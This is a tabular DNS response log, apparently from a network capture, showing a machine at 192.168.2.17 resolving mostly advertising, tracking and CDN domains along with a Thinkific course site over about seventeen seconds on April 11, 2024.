Apr 11, 2024 23:27:10.713860989 CEST	1.1.1.1	192.168.2.17	0x8861	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.209.155.255	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.713860989 CEST	1.1.1.1	192.168.2.17	0x8861	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		34.203.95.36	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.713860989 CEST	1.1.1.1	192.168.2.17	0x8861	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.205.128.45	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.713860989 CEST	1.1.1.1	192.168.2.17	0x8861	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.208.175.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.738183022 CEST	1.1.1.1	192.168.2.17	0xca62	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.738183022 CEST	1.1.1.1	192.168.2.17	0xca62	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.738730907 CEST	1.1.1.1	192.168.2.17	0x7612	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		18.214.198.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		44.207.99.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		34.205.179.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		54.81.163.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		44.195.233.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		54.83.194.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		44.215.35.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.860506058 CEST	1.1.1.1	192.168.2.17	0xcbb0	No error (0)	sync.crwdcntrl.net		3.219.94.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.861263037 CEST	1.1.1.1	192.168.2.17	0xe80a	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.861926079 CEST	1.1.1.1	192.168.2.17	0x87f2	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:11.229520082 CEST	1.1.1.1	192.168.2.17	0x3937	No error (0)	sync-dmp.mobtrakk.com		5.161.187.67	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.229520082 CEST	1.1.1.1	192.168.2.17	0x3937	No error (0)	sync-dmp.mobtrakk.com		5.161.188.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.229520082 CEST	1.1.1.1	192.168.2.17	0x3937	No error (0)	sync-dmp.mobtrakk.com		5.161.124.197	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.471560001 CEST	1.1.1.1	192.168.2.17	0x96fe	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.538109064 CEST	1.1.1.1	192.168.2.17	0xbe0	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.538109064 CEST	1.1.1.1	192.168.2.17	0xbe0	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.617671967 CEST	1.1.1.1	192.168.2.17	0x26ed	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:11.617757082 CEST	1.1.1.1	192.168.2.17	0xd928	No error (0)	www.google.com		142.250.80.36	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.172.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.151.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.151.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.170.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.170.214	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.170.221	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.170.222	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.171.235	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.172.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.151.98	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.171.234	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.170.213	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.817531109 CEST	1.1.1.1	192.168.2.17	0x9dce	No error (0)	server.cpmstar.com		131.153.172.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.820947886 CEST	1.1.1.1	192.168.2.17	0x5a41	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:11.820947886 CEST	1.1.1.1	192.168.2.17	0x5a41	No error (0)	securepubads46.g.doubleclick.net		142.250.80.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.821052074 CEST	1.1.1.1	192.168.2.17	0xdd14	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:11.846079111 CEST	1.1.1.1	192.168.2.17	0x5f21	No error (0)	cdn.ampproject.org	cdn-content.ampproject.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:11.846079111 CEST	1.1.1.1	192.168.2.17	0x5f21	No error (0)	cdn-content.ampproject.org		142.250.65.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.847672939 CEST	1.1.1.1	192.168.2.17	0xe0d4	No error (0)	cdn.ampproject.org	cdn-content.ampproject.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:11.988322973 CEST	1.1.1.1	192.168.2.17	0x748b	No error (0)	live.rezync.com		18.238.55.31	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.988322973 CEST	1.1.1.1	192.168.2.17	0x748b	No error (0)	live.rezync.com		18.238.55.115	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.988322973 CEST	1.1.1.1	192.168.2.17	0x748b	No error (0)	live.rezync.com		18.238.55.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:11.988322973 CEST	1.1.1.1	192.168.2.17	0x748b	No error (0)	live.rezync.com		18.238.55.91	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:12.055039883 CEST	1.1.1.1	192.168.2.17	0x13d9	No error (0)	sync2.resetdigital.co		51.222.105.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:12.449271917 CEST	1.1.1.1	192.168.2.17	0x3015	No error (0)	pandg.tapad.com		34.102.243.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:13.633807898 CEST	1.1.1.1	192.168.2.17	0xad71	No error (0)	earnandexcel.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:13.633807898 CEST	1.1.1.1	192.168.2.17	0xad71	No error (0)	earnandexcel.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:13.634731054 CEST	1.1.1.1	192.168.2.17	0xac2e	No error (0)	earnandexcel.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:13.916028023 CEST	1.1.1.1	192.168.2.17	0x4abc	No error (0)	d.turn.com	d.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:13.916279078 CEST	1.1.1.1	192.168.2.17	0xb89e	No error (0)	d.turn.com	d.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.197.158.229	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.224.106.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.225.145.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.144.230.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.158.42.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.157.45.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.198.23.122	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.365101099 CEST	1.1.1.1	192.168.2.17	0x217	No error (0)	sync.srv.stackadapt.com		54.204.240.229	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.575829029 CEST	1.1.1.1	192.168.2.17	0xd9a6	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.576040983 CEST	1.1.1.1	192.168.2.17	0xd3dd	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:14.612441063 CEST	1.1.1.1	192.168.2.17	0x8fa7	No error (0)	s0.2mdn.net		142.250.176.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527735949 CEST	1.1.1.1	192.168.2.17	0x9812	No error (0)	assets.thinkific.com	d3tuxsry9bjjlg.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527735949 CEST	1.1.1.1	192.168.2.17	0x9812	No error (0)	d3tuxsry9bjjlg.cloudfront.net		13.226.34.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527735949 CEST	1.1.1.1	192.168.2.17	0x9812	No error (0)	d3tuxsry9bjjlg.cloudfront.net		13.226.34.22	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527735949 CEST	1.1.1.1	192.168.2.17	0x9812	No error (0)	d3tuxsry9bjjlg.cloudfront.net		13.226.34.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527735949 CEST	1.1.1.1	192.168.2.17	0x9812	No error (0)	d3tuxsry9bjjlg.cloudfront.net		13.226.34.54	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.527887106 CEST	1.1.1.1	192.168.2.17	0x2284	No error (0)	cdn.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:15.529233932 CEST	1.1.1.1	192.168.2.17	0x8f1d	No error (0)	cdn.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.529233932 CEST	1.1.1.1	192.168.2.17	0x8f1d	No error (0)	cdn.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.530148983 CEST	1.1.1.1	192.168.2.17	0xb86	No error (0)	assets.thinkific.com	d3tuxsry9bjjlg.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:15.532689095 CEST	1.1.1.1	192.168.2.17	0x7bca	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.532689095 CEST	1.1.1.1	192.168.2.17	0x7bca	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.534562111 CEST	1.1.1.1	192.168.2.17	0xd8df	No error (0)	csm.us5.us.criteo.net	csm.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:15.534562111 CEST	1.1.1.1	192.168.2.17	0xd8df	No error (0)	csm.us5.vip.prod.criteo.net		74.119.117.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.534571886 CEST	1.1.1.1	192.168.2.17	0x5d51	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:15.535932064 CEST	1.1.1.1	192.168.2.17	0xdcad	No error (0)	csm.us5.us.criteo.net	csm.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:15.538853884 CEST	1.1.1.1	192.168.2.17	0x6ecd	No error (0)	cdn-themes.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.538853884 CEST	1.1.1.1	192.168.2.17	0x6ecd	No error (0)	cdn-themes.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:15.539544106 CEST	1.1.1.1	192.168.2.17	0x2f50	No error (0)	cdn-themes.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:16.283442020 CEST	1.1.1.1	192.168.2.17	0x4ae0	No error (0)	fast.wistia.net	dualstack.j.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:16.283879995 CEST	1.1.1.1	192.168.2.17	0xc1cc	No error (0)	fast.wistia.net	dualstack.j.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:16.351507902 CEST	1.1.1.1	192.168.2.17	0xd57d	No error (0)	a.deadlinefunnel.com	a.deadlinefunnel.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:16.372387886 CEST	1.1.1.1	192.168.2.17	0x18ae	No error (0)	a.deadlinefunnel.com	a.deadlinefunnel.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:16.395801067 CEST	1.1.1.1	192.168.2.17	0x6650	No error (0)	import.cdn.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:16.395801067 CEST	1.1.1.1	192.168.2.17	0x6650	No error (0)	import.cdn.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:16.396972895 CEST	1.1.1.1	192.168.2.17	0x9687	No error (0)	import.cdn.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:17.291860104 CEST	1.1.1.1	192.168.2.17	0xcc55	No error (0)	c.deadlinefunnel.com	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:17.291860104 CEST	1.1.1.1	192.168.2.17	0xcc55	No error (0)	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		52.205.175.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.291860104 CEST	1.1.1.1	192.168.2.17	0xcc55	No error (0)	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		50.17.55.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.329734087 CEST	1.1.1.1	192.168.2.17	0xbf0c	No error (0)	c.deadlinefunnel.com	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:17.349752903 CEST	1.1.1.1	192.168.2.17	0x60f8	No error (0)	earnandexcel.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.349752903 CEST	1.1.1.1	192.168.2.17	0x60f8	No error (0)	earnandexcel.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.353247881 CEST	1.1.1.1	192.168.2.17	0xffca	No error (0)	earnandexcel.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:17.364171028 CEST	1.1.1.1	192.168.2.17	0xf579	No error (0)	stats.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.364171028 CEST	1.1.1.1	192.168.2.17	0xf579	No error (0)	stats.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.406790972 CEST	1.1.1.1	192.168.2.17	0xcbdd	No error (0)	import.cdn.thinkific.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:17.407824039 CEST	1.1.1.1	192.168.2.17	0x933a	No error (0)	import.cdn.thinkific.com		104.18.35.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.407824039 CEST	1.1.1.1	192.168.2.17	0x933a	No error (0)	import.cdn.thinkific.com		172.64.152.97	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.830426931 CEST	1.1.1.1	192.168.2.17	0x4f3d	No error (0)	www.google.com		142.250.80.4	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:17.831054926 CEST	1.1.1.1	192.168.2.17	0xc208	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:17.978231907 CEST	1.1.1.1	192.168.2.17	0x2c0	No error (0)	c.deadlinefunnel.com	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:18.015410900 CEST	1.1.1.1	192.168.2.17	0xdcf3	No error (0)	c.deadlinefunnel.com	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:18.015410900 CEST	1.1.1.1	192.168.2.17	0xdcf3	No error (0)	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		50.17.55.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:18.015410900 CEST	1.1.1.1	192.168.2.17	0xdcf3	No error (0)	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com		52.205.175.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:25.490447044 CEST	1.1.1.1	192.168.2.17	0x7901	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:25.490447044 CEST	1.1.1.1	192.168.2.17	0x7901	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:25.490447044 CEST	1.1.1.1	192.168.2.17	0x7901	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:25.491065979 CEST	1.1.1.1	192.168.2.17	0x8e3b	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:25.491065979 CEST	1.1.1.1	192.168.2.17	0x8e3b	No error (0)	bam.cell.nr-data.net	bam.nr-data.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	us-east-tlx.3lift.com		3.233.167.98	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	us-east-tlx.3lift.com		3.226.121.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	us-east-tlx.3lift.com		3.208.175.5	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	us-east-tlx.3lift.com		54.158.18.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.876471996 CEST	1.1.1.1	192.168.2.17	0x632e	No error (0)	us-east-tlx.3lift.com		34.192.42.219	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:26.877463102 CEST	1.1.1.1	192.168.2.17	0x1ed2	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:27.100928068 CEST	1.1.1.1	192.168.2.17	0xf6d5	No error (0)	i.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	i.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		52.55.128.19	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		52.73.176.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		54.204.19.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		52.87.125.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		52.73.164.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		54.161.164.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		54.161.140.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.101414919 CEST	1.1.1.1	192.168.2.17	0x63ce	No error (0)	cdn.w55c.net		52.23.87.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.104110956 CEST	1.1.1.1	192.168.2.17	0x9e95	No error (0)	oxp.mxptint.net		38.98.69.175	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183253050 CEST	1.1.1.1	192.168.2.17	0x909a	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183253050 CEST	1.1.1.1	192.168.2.17	0x909a	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.199.126.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183253050 CEST	1.1.1.1	192.168.2.17	0x909a	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.232.139.140	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183253050 CEST	1.1.1.1	192.168.2.17	0x909a	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.227.167.139	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183253050 CEST	1.1.1.1	192.168.2.17	0x909a	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.206.160.179	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:27.183624029 CEST	1.1.1.1	192.168.2.17	0xf20c	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:27.329432964 CEST	1.1.1.1	192.168.2.17	0x19dd	No error (0)	pagead-googlehosted.l.google.com		142.251.40.97	A (IP address)	IN (0x0001)	false
